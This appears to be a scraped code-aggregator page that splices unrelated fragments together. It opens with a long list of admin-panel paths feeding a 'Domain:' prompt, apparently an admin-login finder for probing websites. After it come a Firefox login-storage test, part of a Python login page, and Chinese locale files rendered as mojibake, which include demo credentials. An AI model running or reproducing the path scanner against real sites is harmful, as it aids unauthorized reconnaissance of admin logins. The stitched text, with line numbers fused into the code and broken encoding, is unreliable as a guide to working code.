'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html','moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html','admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp','administrator/account.asp','administrator.asp','acceso.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp','moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html','admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp','webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp','admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html','panel-administracion/index.asp','dvwa','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp','admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp','adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html','admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm','admin/account.cfm','admin_area/admin.cfm','admin_area/login.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm','admin/home.cfm','admin_area/login.html','admin_area/index.html','admin/controlpanel.cfm','admin.cfm','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.cfm','cp.cfm','administrator/index.cfm','administrator/login.cfm','nsw/admin/login.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','administrator/account.cfm','administrator.cfm','admin_area/admin.html','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','moderator/admin.cfm','account.cfm','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.cfm','admincontrol.cfm','admin/adminLogin.html','acceso.cfm','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.cfm','adminarea/index.html','adminarea/admin.html','webadmin.cfm','webadmin/index.cfm','webadmin/admin.cfm','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.cfm','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.cfm','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.cfm','wp-login.cfm','adminLogin.cfm','admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cfm','panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','usuarios/login.cfm','adm/index.cfm','adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.js','admin/index.js','admin/login.js','admin/admin.js','admin/account.js','admin_area/admin.js','admin_area/login.js','siteadmin/login.js','siteadmin/index.js','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.js','bb-admin/index.js','bb-admin/login.js','bb-admin/admin.js','admin/home.js','admin_area/login.html','admin_area/index.html','admin/controlpanel.js','admin.js','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.js','cp.js','administrator/index.js','administrator/login.js','nsw/admin/login.js','webadmin/login.js','admin/admin_login.js','admin_login.js','administrator/account.js','administrator.js','admin_area/admin.html','pages/admin/admin-login.js','admin/admin-login.js','admin-login.js','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.js','modelsearch/login.js','moderator.js','moderator/login.js','moderator/admin.js','account.js','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.js','admincontrol.js','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.js','adminarea/index.html','adminarea/admin.html','webadmin.js','webadmin/index.js','acceso.js','webadmin/admin.js','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.js','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.js','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.js','wp-login.js','adminLogin.js','admin/adminLogin.js','home.js','admin.js','adminarea/index.js','adminarea/admin.js','adminarea/login.js','panel-administracion/index.js','panel-administracion/admin.js','modelsearch/index.js','modelsearch/admin.js','admincontrol/login.js','adm/admloginuser.js','admloginuser.js','admin2.js','admin2/login.js','admin2/index.js','usuarios/login.js','adm/index.js','adm.js','affiliate.js','adm_auth.js','memberadmin.js','administratorlogin.js','admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.cgi','admin/index.cgi','admin/login.cgi','admin/admin.cgi','admin/account.cgi','admin_area/admin.cgi','admin_area/login.cgi','siteadmin/login.cgi','siteadmin/index.cgi','siteadmin/login.html','admin/account.html','phpmyadmin','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.cgi','bb-admin/index.cgi','bb-admin/login.cgi','bb-admin/admin.cgi','admin/home.cgi','admin_area/login.html','admin_area/index.html','admin/controlpanel.cgi','admin.cgi','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.cgi','cp.cgi','administrator/index.cgi','administrator/login.cgi','nsw/admin/login.cgi','webadmin/login.cgi','admin/admin_login.cgi','admin_login.cgi','administrator/account.cgi','administrator.cgi','admin_area/admin.html','pages/admin/admin-login.cgi','admin/admin-login.cgi','admin-login.cgi','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.cgi','modelsearch/login.cgi','moderator.cgi','moderator/login.cgi','moderator/admin.cgi','account.cgi','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.cgi','admincontrol.cgi','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.cgi','adminarea/index.html','adminarea/admin.html','webadmin.cgi','webadmin/index.cgi','acceso.cgi','webadmin/admin.cgi','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.cgi','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.cgi','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.cgi','wp-login.cgi','adminLogin.cgi','admin/adminLogin.cgi','home.cgi','admin.cgi','adminarea/index.cgi','adminarea/admin.cgi','adminarea/login.cgi','panel-administracion/index.cgi','panel-administracion/admin.cgi','modelsearch/index.cgi','modelsearch/admin.cgi','admincontrol/login.cgi','adm/admloginuser.cgi','admloginuser.cgi','admin2.cgi','admin2/login.cgi','admin2/index.cgi','usuarios/login.cgi','adm/index.cgi','adm.cgi','affiliate.cgi','adm_auth.cgi','memberadmin.cgi','administratorlogin.cgi','admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/login.html','admin_area/index.html','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin_area/admin.html','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','wordpress','btslab']56		target = raw_input("[+]Domain: ")...test_logins_change.js
Source:test_logins_change.js  
1/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */2/* vim: set ts=2 et sw=2 tw=80: */3/* Any copyright is dedicated to the Public Domain.4 * http://creativecommons.org/publicdomain/zero/1.0/ */5/**6 * Tests methods that add, remove, and modify logins.7 */8"use strict";9// Globals10/**11 * Verifies that the specified login is considered invalid by addLogin and by12 * modifyLogin with both nsILoginInfo and nsIPropertyBag arguments.13 *14 * This test requires that the login store is empty.15 *16 * @param aLoginInfo17 *        nsILoginInfo corresponding to an invalid login.18 * @param aExpectedError19 *        This argument is passed to the "Assert.throws" test to determine which20 *        error is expected from the modification functions.21 */22function checkLoginInvalid(aLoginInfo, aExpectedError)23{24  // Try to add the new login, and verify that no data is stored.25  Assert.throws(() => Services.logins.addLogin(aLoginInfo), aExpectedError);26  LoginTestUtils.checkLogins([]);27  // Add a login for the modification tests.28  let testLogin = TestData.formLogin({ hostname: "http://modify.example.com" });29  Services.logins.addLogin(testLogin);30  // Try to modify the existing login using nsILoginInfo and nsIPropertyBag.31  Assert.throws(() => Services.logins.modifyLogin(testLogin, aLoginInfo),32                aExpectedError);33  Assert.throws(() => Services.logins.modifyLogin(testLogin, newPropertyBag({34    hostname: aLoginInfo.hostname,35    formSubmitURL: aLoginInfo.formSubmitURL,36    httpRealm: aLoginInfo.httpRealm,37    username: aLoginInfo.username,38    password: aLoginInfo.password,39    usernameField: aLoginInfo.usernameField,40    passwordField: aLoginInfo.passwordField,41  })), aExpectedError);42  // Verify that no data was stored by the previous calls.43  LoginTestUtils.checkLogins([testLogin]);44  Services.logins.removeLogin(testLogin);45}46/**47 * Verifies that two objects are not the same instance48 * but have equal attributes.49 *50 * @param {Object} objectA51 *        An object to compare.52 *53 * @param {Object} objectB54 *        Another object to compare.55 *56 * @param {string[]} attributes57 *        Attributes to compare.58 *59 * @return true if all passed attributes are equal for both objects, false otherwise.60 */61function compareAttributes(objectA, objectB, attributes) {62  // If it's the same object, we want to return false.63  if (objectA == objectB) {64    return false;65  }66  return attributes.every(attr => objectA[attr] == objectB[attr]);67}68// Tests69/**70 * Tests that adding logins to the database works.71 */72add_task(function test_addLogin_removeLogin()73{74  // Each login from the test data should be valid and added to the list.75  for (let loginInfo of TestData.loginList()) {76    Services.logins.addLogin(loginInfo);77  }78  LoginTestUtils.checkLogins(TestData.loginList());79  // Trying to add each login again should result in an error.80  for (let loginInfo of TestData.loginList()) {81    Assert.throws(() => Services.logins.addLogin(loginInfo), /already exists/);82  }83  // Removing each login should succeed.84  for (let loginInfo of TestData.loginList()) {85    Services.logins.removeLogin(loginInfo);86  }87  LoginTestUtils.checkLogins([]);88});89/**90 * Tests invalid combinations of httpRealm and formSubmitURL.91 *92 * For an nsILoginInfo to be valid for storage, one of the two properties should93 * be strictly equal to null, and the other must not be null or an empty string.94 *95 * The legacy case of an empty string in formSubmitURL and a null value in96 * httpRealm is also supported for storage at the moment.97 */98add_task(function test_invalid_httpRealm_formSubmitURL()99{100  // httpRealm === null, formSubmitURL === null101  checkLoginInvalid(TestData.formLogin({ formSubmitURL: null }),102                    /without a httpRealm or formSubmitURL/);103  // httpRealm === "", formSubmitURL === null104  checkLoginInvalid(TestData.authLogin({ httpRealm: "" }),105                    /without a httpRealm or formSubmitURL/);106  // httpRealm === null, formSubmitURL === ""107  // This is not enforced for now.108  // checkLoginInvalid(TestData.formLogin({ formSubmitURL: "" }),109  //                   /without a httpRealm or formSubmitURL/);110  // httpRealm === "", formSubmitURL === ""111  checkLoginInvalid(TestData.formLogin({ formSubmitURL: "", httpRealm: "" }),112                    /both a httpRealm and formSubmitURL/);113  // !!httpRealm, !!formSubmitURL114  checkLoginInvalid(TestData.formLogin({ httpRealm: "The HTTP Realm" }),115                    /both a httpRealm and formSubmitURL/);116  // httpRealm === "", !!formSubmitURL117  checkLoginInvalid(TestData.formLogin({ httpRealm: "" }),118                    /both a httpRealm and formSubmitURL/);119  // !!httpRealm, formSubmitURL === ""120  checkLoginInvalid(TestData.authLogin({ formSubmitURL: "" }),121                    /both a httpRealm and formSubmitURL/);122});123/**124 * Tests null or empty values in required login properties.125 */126add_task(function test_missing_properties()127{128  checkLoginInvalid(TestData.formLogin({ hostname: null }),129                    /null or empty hostname/);130  checkLoginInvalid(TestData.formLogin({ hostname: "" }),131                    /null or empty hostname/);132  checkLoginInvalid(TestData.formLogin({ username: null }),133                    /null username/);134  checkLoginInvalid(TestData.formLogin({ password: null }),135                    /null or empty password/);136  checkLoginInvalid(TestData.formLogin({ password: "" }),137                    /null or empty password/);138});139/**140 * Tests invalid NUL characters in nsILoginInfo properties.141 */142add_task(function test_invalid_characters()143{144  let loginList = [145    TestData.authLogin({ hostname: "http://null\0X.example.com" }),146    TestData.authLogin({ httpRealm: "realm\0" }),147    TestData.formLogin({ formSubmitURL: "http://null\0X.example.com" }),148    TestData.formLogin({ usernameField: "field\0_null" }),149    TestData.formLogin({ usernameField: ".\0" }), // Special single dot case150    TestData.formLogin({ passwordField: "field\0_null" }),151    TestData.formLogin({ username: "user\0name" }),152    TestData.formLogin({ password: "pass\0word" }),153  ];154  for (let loginInfo of loginList) {155    checkLoginInvalid(loginInfo, /login values can't contain nulls/);156  }157});158/**159 * Tests removing a login that does not exists.160 */161add_task(function test_removeLogin_nonexisting()162{163  Assert.throws(() => Services.logins.removeLogin(TestData.formLogin()),164                /No matching logins/);165});166/**167 * Tests removing all logins at once.168 */169add_task(function test_removeAllLogins()170{171  for (let loginInfo of TestData.loginList()) {172    Services.logins.addLogin(loginInfo);173  }174  Services.logins.removeAllLogins();175  LoginTestUtils.checkLogins([]);176  // The function should also work when there are no logins to delete.177  Services.logins.removeAllLogins();178});179/**180 * Tests the modifyLogin function with an nsILoginInfo argument.181 */182add_task(function test_modifyLogin_nsILoginInfo()183{184  let loginInfo = TestData.formLogin();185  let updatedLoginInfo = TestData.formLogin({186    username: "new username",187    password: "new password",188    usernameField: "new_form_field_username",189    passwordField: "new_form_field_password",190  });191  let differentLoginInfo = TestData.authLogin();192  // Trying to modify a login that does not exist should throw.193  Assert.throws(() => Services.logins.modifyLogin(loginInfo, updatedLoginInfo),194                /No matching logins/);195  // Add the first form login, then modify it to match the second.196  Services.logins.addLogin(loginInfo);197  Services.logins.modifyLogin(loginInfo, updatedLoginInfo);198  // The data should now match the second login.199  LoginTestUtils.checkLogins([updatedLoginInfo]);200  Assert.throws(() => Services.logins.modifyLogin(loginInfo, updatedLoginInfo),201                /No matching logins/);202  // The login can be changed to have a different type and hostname.203  Services.logins.modifyLogin(updatedLoginInfo, differentLoginInfo);204  LoginTestUtils.checkLogins([differentLoginInfo]);205  // It is now possible to add a login with the old type and hostname.206  Services.logins.addLogin(loginInfo);207  LoginTestUtils.checkLogins([loginInfo, differentLoginInfo]);208  // Modifying a login to match an existing one should not be possible.209  Assert.throws(210         () => Services.logins.modifyLogin(loginInfo, differentLoginInfo),211         /already exists/);212  LoginTestUtils.checkLogins([loginInfo, differentLoginInfo]);213  LoginTestUtils.clearData();214});215/**216 * Tests the modifyLogin function with an nsIPropertyBag argument.217 */218add_task(function test_modifyLogin_nsIProperyBag()219{220  let loginInfo = TestData.formLogin();221  let updatedLoginInfo = TestData.formLogin({222    username: "new username",223    password: "new password",224    usernameField: "",225    passwordField: "new_form_field_password",226  });227  let differentLoginInfo = TestData.authLogin();228  let differentLoginProperties = newPropertyBag({229    hostname: differentLoginInfo.hostname,230    formSubmitURL: differentLoginInfo.formSubmitURL,231    httpRealm: differentLoginInfo.httpRealm,232    username: differentLoginInfo.username,233    password: differentLoginInfo.password,234    usernameField: differentLoginInfo.usernameField,235    passwordField: differentLoginInfo.passwordField,236  });237  // Trying to modify a login that does not exist should throw.238  Assert.throws(() => Services.logins.modifyLogin(loginInfo, newPropertyBag()),239                /No matching logins/);240  // Add the first form login, then modify it to match the second, changing241  // only some of its properties and checking the behavior with an empty string.242  Services.logins.addLogin(loginInfo);243  Services.logins.modifyLogin(loginInfo, newPropertyBag({244    username: "new username",245    password: "new password",246    usernameField: "",247    passwordField: "new_form_field_password",248  }));249  // The data should now match the second login.250  LoginTestUtils.checkLogins([updatedLoginInfo]);251  Assert.throws(() => Services.logins.modifyLogin(loginInfo, newPropertyBag()),252                /No matching logins/);253  // It is also possible to provide no properties to be modified.254  Services.logins.modifyLogin(updatedLoginInfo, newPropertyBag());255  // Specifying a null property for a required value should throw.256  Assert.throws(() => Services.logins.modifyLogin(loginInfo, newPropertyBag({257    usernameField: null,258  })));259  // The login can be changed to have a different type and hostname.260  Services.logins.modifyLogin(updatedLoginInfo, differentLoginProperties);261  LoginTestUtils.checkLogins([differentLoginInfo]);262  // It is now possible to add a login with the old type and hostname.263  Services.logins.addLogin(loginInfo);264  LoginTestUtils.checkLogins([loginInfo, differentLoginInfo]);265  // Modifying a login to match an existing one should not be possible.266  Assert.throws(267         () => Services.logins.modifyLogin(loginInfo, differentLoginProperties),268         /already exists/);269  LoginTestUtils.checkLogins([loginInfo, differentLoginInfo]);270  LoginTestUtils.clearData();271});272/**273 * Tests the login deduplication function.274 */275add_task(function test_deduplicate_logins() {276  // Different key attributes combinations and the amount of unique277  // results expected for the TestData login list.278  let keyCombinations = [279    {280      keyset: ["username", "password"],281      results: 13,282    },283    {284      keyset: ["hostname", "username"],285      results: 17,286    },287    {288      keyset: ["hostname", "username", "password"],289      results: 18,290    },291    {292      keyset: ["hostname", "username", "password", "formSubmitURL"],293      results: 23,294    },295  ];296  let logins = TestData.loginList();297  for (let testCase of keyCombinations) {298    // Deduplicate the logins using the current testcase keyset.299    let deduped = LoginHelper.dedupeLogins(logins, testCase.keyset);300    Assert.equal(deduped.length, testCase.results, "Correct amount of results.");301    // Checks that every login after deduping is unique.302    Assert.ok(deduped.every(loginA =>303      deduped.every(loginB => !compareAttributes(loginA, loginB, testCase.keyset))304    ), "Every login is unique.");305  }306});307/**308 * Ensure that the login deduplication function keeps the most recent login.309 */310add_task(function test_deduplicate_keeps_most_recent() {311  // Logins to deduplicate.312  let logins = [313    TestData.formLogin({timeLastUsed: Date.UTC(2004, 11, 4, 0, 0, 0)}),314    TestData.formLogin({formSubmitURL: "http://example.com", timeLastUsed: Date.UTC(2015, 11, 4, 0, 0, 0)}),315  ];316  // Deduplicate the logins.317  let deduped = LoginHelper.dedupeLogins(logins);318  Assert.equal(deduped.length, 1, "Deduplicated the logins array.");319  // Verify that the remaining login have the most recent date.320  let loginTimeLastUsed = deduped[0].QueryInterface(Ci.nsILoginMetaInfo).timeLastUsed;321  Assert.equal(loginTimeLastUsed, Date.UTC(2015, 11, 4, 0, 0, 0), "Most recent login was kept.");322  // Deduplicate the reverse logins array.323  deduped = LoginHelper.dedupeLogins(logins.reverse());324  Assert.equal(deduped.length, 1, "Deduplicated the reversed logins array.");325  // Verify that the remaining login have the most recent date.326  loginTimeLastUsed = deduped[0].QueryInterface(Ci.nsILoginMetaInfo).timeLastUsed;327  Assert.equal(loginTimeLastUsed, Date.UTC(2015, 11, 4, 0, 0, 0), "Most recent login was kept.");...webapp_login.py
Source:webapp_login.py  
...50            password = arg.split('=', 1)[1]51        elif arg.split('=', 1)[0] == 'register':52            register = True53    return nickname, password, register54def html_login(translate: {},55               base_dir: str,56               http_prefix: str, domain: str,57               system_language: str,58               autocomplete: bool,59               ua_str: str) -> str:60    """Shows the login screen61    """62    accounts = no_of_accounts(base_dir)63    login_image = 'login.png'64    login_image_filename = None65    if os.path.isfile(base_dir + '/accounts/' + login_image):66        login_image_filename = base_dir + '/accounts/' + login_image67    elif os.path.isfile(base_dir + '/accounts/login.jpg'):68        login_image = 'login.jpg'...zh-CN.ts
Source:zh-CN.ts  
1export default {2  'user-login.login.userName': 'ç¨æ·å',3  'user-login.login.password': 'å¯ç ',4  'user-login.login.message-invalid-credentials': 'è´¦æ·æå¯ç é误ï¼admin/ant.designï¼',5  'user-login.login.message-invalid-verification-code': 'éªè¯ç é误',6  'user-login.login.tab-login-credentials': 'è´¦æ·å¯ç ç»å½',7  'user-login.login.tab-login-mobile': 'ææºå·ç»å½',8  'user-login.login.remember-me': 'èªå¨ç»å½',9  'user-login.login.forgot-password': 'å¿è®°å¯ç ',10  'user-login.login.sign-in-with': 'å
¶ä»ç»å½æ¹å¼',11  'user-login.login.signup': '注åè´¦æ·',12  'user-login.login.login': 'ç»å½',13  'user-login.register.register': '注å',14  'user-login.register.get-verification-code': 'è·åéªè¯ç ',15  'user-login.register.sign-in': '使ç¨å·²æè´¦æ·ç»å½',16  'user-login.register-result.msg': 'ä½ çè´¦æ·ï¼{email} 注åæå',17  'user-login.register-result.activation-email':18    'æ¿æ´»é®ä»¶å·²åéå°ä½ çé®ç®±ä¸ï¼é®ä»¶æææä¸º24å°æ¶ãè¯·åæ¶ç»å½é®ç®±ï¼ç¹å»é®ä»¶ä¸ç龿¥æ¿æ´»å¸æ·ã',19  'user-login.register-result.back-home': 'è¿åé¦é¡µ',20  'user-login.register-result.view-mailbox': 'æ¥çé®ç®±',21  'user-login.email.required': '请è¾å
¥é®ç®±å°åï¼',22  'user-login.email.wrong-format': 'é®ç®±å°åæ ¼å¼é误ï¼',23  'user-login.userName.required': '请è¾å
¥ç¨æ·å!',24  'user-login.password.required': '请è¾å
¥å¯ç ï¼',25  'user-login.password.twice': '两次è¾å
¥çå¯ç ä¸å¹é
!',26  'user-login.strength.msg': '请è³å°è¾å
¥ 6 个å符ã请ä¸è¦ä½¿ç¨å®¹æè¢«çå°çå¯ç ã',27  'user-login.strength.strong': '强度ï¼å¼º',28  'user-login.strength.medium': '强度ï¼ä¸',29  'user-login.strength.short': '强度ï¼å¤ªç',30  'user-login.confirm-password.required': '请确认å¯ç ï¼',31  'user-login.phone-number.required': '请è¾å
¥ææºå·ï¼',32  'user-login.phone-number.wrong-format': 'ææºå·æ ¼å¼é误ï¼',33  'user-login.verification-code.required': '请è¾å
¥éªè¯ç ï¼',34  'user-login.title.required': '请è¾å
¥æ é¢',35  'user-login.date.required': 'è¯·éæ©èµ·æ¢æ¥æ',36  'user-login.goal.required': '请è¾å
¥ç®æ æè¿°',37  'user-login.standard.required': '请è¾å
¥è¡¡éæ å',38  'user-login.form.get-captcha': 'è·åéªè¯ç ',39  'user-login.captcha.second': 'ç§',40  'user-login.form.optional': 'ï¼éå¡«ï¼',41  'user-login.form.submit': 'æäº¤',42  'user-login.form.save': 'ä¿å',43  'user-login.email.placeholder': 'é®ç®±',44  'user-login.password.placeholder': 'è³å°6ä½å¯ç ï¼åºå大å°å',45  'user-login.confirm-password.placeholder': '确认å¯ç ',46  'user-login.phone-number.placeholder': 'ææºå·',47  'user-login.verification-code.placeholder': 'éªè¯ç ',48  'user-login.title.label': 'æ é¢',49  'user-login.title.placeholder': 'ç»ç®æ èµ·ä¸ªåå',50  'user-login.date.label': 'èµ·æ¢æ¥æ',51  'user-login.placeholder.start': 'å¼å§æ¥æ',52  'user-login.placeholder.end': 'ç»ææ¥æ',53  'user-login.goal.label': 'ç®æ æè¿°',54  'user-login.goal.placeholder': '请è¾å
¥ä½ çé¶æ®µæ§å·¥ä½ç®æ ',55  'user-login.standard.label': 'è¡¡éæ å',56  'user-login.standard.placeholder': '请è¾å
¥è¡¡éæ å',57  'user-login.client.label': '客æ·',58  'user-login.label.tooltip': 'ç®æ çæå¡å¯¹è±¡',59  'user-login.client.placeholder': '请æè¿°ä½ æå¡ç客æ·ï¼å
é¨å®¢æ·ç´æ¥ @å§åï¼å·¥å·',60  'user-login.invites.label': 'éè¯äºº',61  'user-login.invites.placeholder': 'è¯·ç´æ¥ @å§åï¼å·¥å·ï¼æå¤å¯é请 5 人',62  'user-login.weight.label': 'æé',63  'user-login.weight.placeholder': '请è¾å
¥',64  'user-login.public.label': 'ç®æ å
¬å¼',65  'user-login.label.help': '客æ·ãéè¯äººé»è®¤è¢«å享',66  'user-login.radio.public': 'å
¬å¼',67  'user-login.radio.partially-public': 'é¨åå
¬å¼',68  'user-login.radio.private': 'ä¸å
¬å¼',69  'user-login.publicUsers.placeholder': 'å
¬å¼ç»',70  'user-login.option.A': 'åäºç²',71  'user-login.option.B': 'åäºä¹',72  'user-login.option.C': 'åäºä¸',73  'user-login.navBar.lang': 'è¯è¨',...zh-TW.ts
Source:zh-TW.ts  
1export default {2  'user-login.login.userName': '賬æ¶',3  'user-login.login.password': 'å¯ç¢¼',4  'user-login.login.message-invalid-credentials': 'è³¬æ¶æå¯ç¢¼é¯èª¤ï¼admin/ant.designï¼',5  'user-login.login.message-invalid-verification-code': 'é©è碼é¯èª¤',6  'user-login.login.tab-login-credentials': '賬æ¶å¯ç¢¼ç»é',7  'user-login.login.tab-login-mobile': 'ææ©èç»é',8  'user-login.login.remember-me': 'èªåç»é',9  'user-login.login.forgot-password': 'å¿è¨å¯ç¢¼',10  'user-login.login.sign-in-with': 'å
¶ä»ç»éæ¹å¼',11  'user-login.login.signup': '註å賬æ¶',12  'user-login.login.login': 'ç»é',13  'user-login.register.register': '註å',14  'user-login.register.get-verification-code': 'ç²åé©è碼',15  'user-login.register.sign-in': '使ç¨å·²æè³¬æ¶ç»é',16  'user-login.register-result.msg': '妳ç賬æ¶ï¼{email} 註åæå',17  'user-login.register-result.activation-email':18    'æ¿æ´»éµä»¶å·²ç¼éå°å¦³çéµç®±ä¸ï¼éµä»¶æææçº24å°æãè«åæç»ééµç®±ï¼é»æéµä»¶ä¸çéæ¥æ¿æ´»å¸³æ¶ã',19  'user-login.register-result.back-home': 'è¿åé¦é ',20  'user-login.register-result.view-mailbox': 'æ¥çéµç®±',21  'user-login.email.required': 'è«è¼¸å
¥éµç®±å°åï¼',22  'user-login.email.wrong-format': 'éµç®±å°åæ ¼å¼é¯èª¤ï¼',23  'user-login.userName.required': 'è«è¼¸å
¥è³¬æ¶!',24  'user-login.password.required': 'è«è¼¸å
¥å¯ç¢¼ï¼',25  'user-login.password.twice': 'å
©æ¬¡è¼¸å
¥çå¯ç¢¼ä¸å¹é
!',26  'user-login.strength.msg': 'è«è³å°è¼¸å
¥ 6 åå符ãè«ä¸è¦ä½¿ç¨å®¹æè¢«çå°çå¯ç¢¼ã',27  'user-login.strength.strong': '強度ï¼å¼·',28  'user-login.strength.medium': '強度ï¼ä¸',29  'user-login.strength.short': '強度ï¼å¤ªç',30  'user-login.confirm-password.required': 'è«ç¢ºèªå¯ç¢¼ï¼',31  'user-login.phone-number.required': 'è«è¼¸å
¥ææ©èï¼',32  'user-login.phone-number.wrong-format': 'ææ©èæ ¼å¼é¯èª¤ï¼',33  'user-login.verification-code.required': 'è«è¼¸å
¥é©è碼ï¼',34  'user-login.title.required': 'è«è¼¸å
¥æ¨é¡',35  'user-login.date.required': 'è«é¸æèµ·æ¢æ¥æ',36  'user-login.goal.required': 'è«è¼¸å
¥ç®æ¨æè¿°',37  'user-login.standard.required': 'è«è¼¸å
